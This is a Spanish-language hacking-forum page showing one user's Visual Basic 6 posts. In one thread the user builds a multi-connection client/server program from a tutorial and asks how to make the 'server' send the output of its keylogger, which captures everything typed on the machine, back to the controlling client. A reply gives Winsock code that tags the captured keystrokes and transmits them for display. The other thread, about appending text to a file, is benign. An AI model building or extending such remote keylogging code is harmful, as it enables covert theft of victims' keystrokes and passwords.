elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


  Mostrar Mensajes
Páginas: [1]
1  Programación / Programación Visual Basic / Re: manejo de archivos y carpetas en: 25 Octubre 2016, 22:47 pm
Aquí te dejo un tutorial excelente sobre manejo de archivos.

http://www.recursosvisualbasic.com.ar/htm/tutoriales/tutorial-basico7.htm

En esa web puedes encontrar muchos otros ejemplos y tutoriales usando el buscador.

saludos.
Muchisimas gracias.!
Aprendiendo!
2  Programación / Programación Visual Basic / Re: Ayuda aplicación cliente/servidor VB 6.0 en: 25 Octubre 2016, 16:02 pm
Funciona perfectamente, muchas gracias, jeje, me preguntaba si a traves de la misma formula podrian enviarse imagenes para ponerlas en un picturebox?
3  Programación / Programación Visual Basic / Re: Ayuda aplicación cliente/servidor VB 6.0 en: 25 Octubre 2016, 15:57 pm
Ya que en el DataArrival tienes un filtro  con un Select Case tendrás que enviar los datos de la siguiente manera:

Código
  1.    Dim variable1 as string
  2.    variable = "KEY|" ' Esto es para el filtro, que sepa el servidor que es para el keylogger
  3.    variable = variable & text1.text
  4.    Ws.senddata variable

Y en el servidor lo tendrías que modificar un poco:

Código
  1.    Private Sub ws_DataArrival(index As Integer, ByVal bytesTotal As Long)
  2.    Dim data As String 'Declaracion
  3.    Dim vData As Variant 'Declaracion
  4.    Dim pr
  5.    Dim cmsgsep As Long 'Declaracion
  6.    ws(index).GetData data
  7.    vData = Split(data, "|")
  8.    Select Case vData(0)
  9.    Case "Conexion" 'Cose de conexion
  10.    Set pr = Listconexion.ListItems.Add(, index & "|", vData(1)) 'Agreamos una nueva conexion a listview
  11.    pr.SubItems(1) = vData(2) & "/" & ws(index).RemoteHostIP
  12.    pr.SubItems(2) = vData(3) & "/" & vData(4)
  13.    pr.SubItems(3) = vData(5)
  14.    pr.SubItems(4) = vData(6)
  15.  
  16.        case "KEY" ' La clave que pusimos para el keylogger
  17.            text1.text = vData(1) ' Ponemos los datos en el TextBox
  18.    End select
  19.    End sub


El código no se si funciona porque lo he ido poniendo sobre la marcha pero la idea es esa.

saludos.
Gracias por la ayuda, voy a probar y te comento.
Tengo otro post por aqui, agradeceria que le echases un vistazo a ver si tienes alguna idea.
4  Programación / Programación Visual Basic / manejo de archivos y carpetas en: 25 Octubre 2016, 12:26 pm
Buenas, quiero que se guarde en una carpeta determinada y el contenido de un textbox determinado.
Quedaria algo asi:
MkDir "c:\texto"
Dim linea As String
linea = Text1.Text
Open "C:\texto\texto.txt" For Output As #1
Print #1, linea
Close #1
MsgBox "Se ha creado un archivo de texto en la siguiente ruta C:\texto\texto.txt"
End If
End Sub

Vale, eso para crearlo y escribirlo, el problema es que quiero añadirle código para que si ya está creado no cree el fichero y añada, al texto ya existente en el texto, el texto que quiero añadir nuevo.
5  Programación / Programación Visual Basic / Ayuda aplicación cliente/servidor VB 6.0 en: 24 Octubre 2016, 17:08 pm
Hola buenas, ando programando una aplicación Cliente/servidor con multiconexiones gracias a un tutorial encontrado en esta página. (War ghost)
A la hora de agregarle funciones es donde me surge el problema. Espero, que me pudierais ayudar.
En la llegada de datos del tutorial consta lo siguiente:
Código
  1. Private Sub ws_DataArrival(index As Integer, ByVal bytesTotal As Long)
  2. Dim data As String 'Declaracion
  3. Dim vData As Variant 'Declaracion
  4. Dim pr
  5. Dim cmsgsep As Long 'Declaracion
  6. ws(index).GetData data
  7. vData = Split(data, "|")
  8. Select Case vData(0)
  9. Case "Conexion" 'Cose de conexion
  10. Set pr = Listconexion.ListItems.Add(, index & "|", vData(1)) 'Agreamos una nueva conexion a listview
  11. pr.SubItems(1) = vData(2) & "/" & ws(index).RemoteHostIP
  12. pr.SubItems(2) = vData(3) & "/" & vData(4)
  13. pr.SubItems(3) = vData(5)
  14. pr.SubItems(4) = vData(6)
  15. End select
  16. End sub


Por lo tanto, cuando el servidor (index) envie conexion se rellenarán los campos del listbox con sus datos, hasta ahi todo correcto.
El problema es que he añadido al server un keylogger muy rudimentario, simplemente un texbox que recoge todo lo que teclea el ordenador, mi duda es la siguiente.
¿Como puedo configurar el server para que envie el contenido del texbox al cliente y este lo recoga en otro textbox del cliente?
Entiendo que será declarar en el server una variable que contenga el contenido del texbox.
Código
  1. Dim variable1 as string
  2. variable = text1.text
  3. Ws.senddata variable

Pero el problema es que no se configurar el cliente para que este lo reciba y lo aplique en el texbox.
Saludos y gracias por vuestro tiempo.

MOD: Etiquetas GeSHi.
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines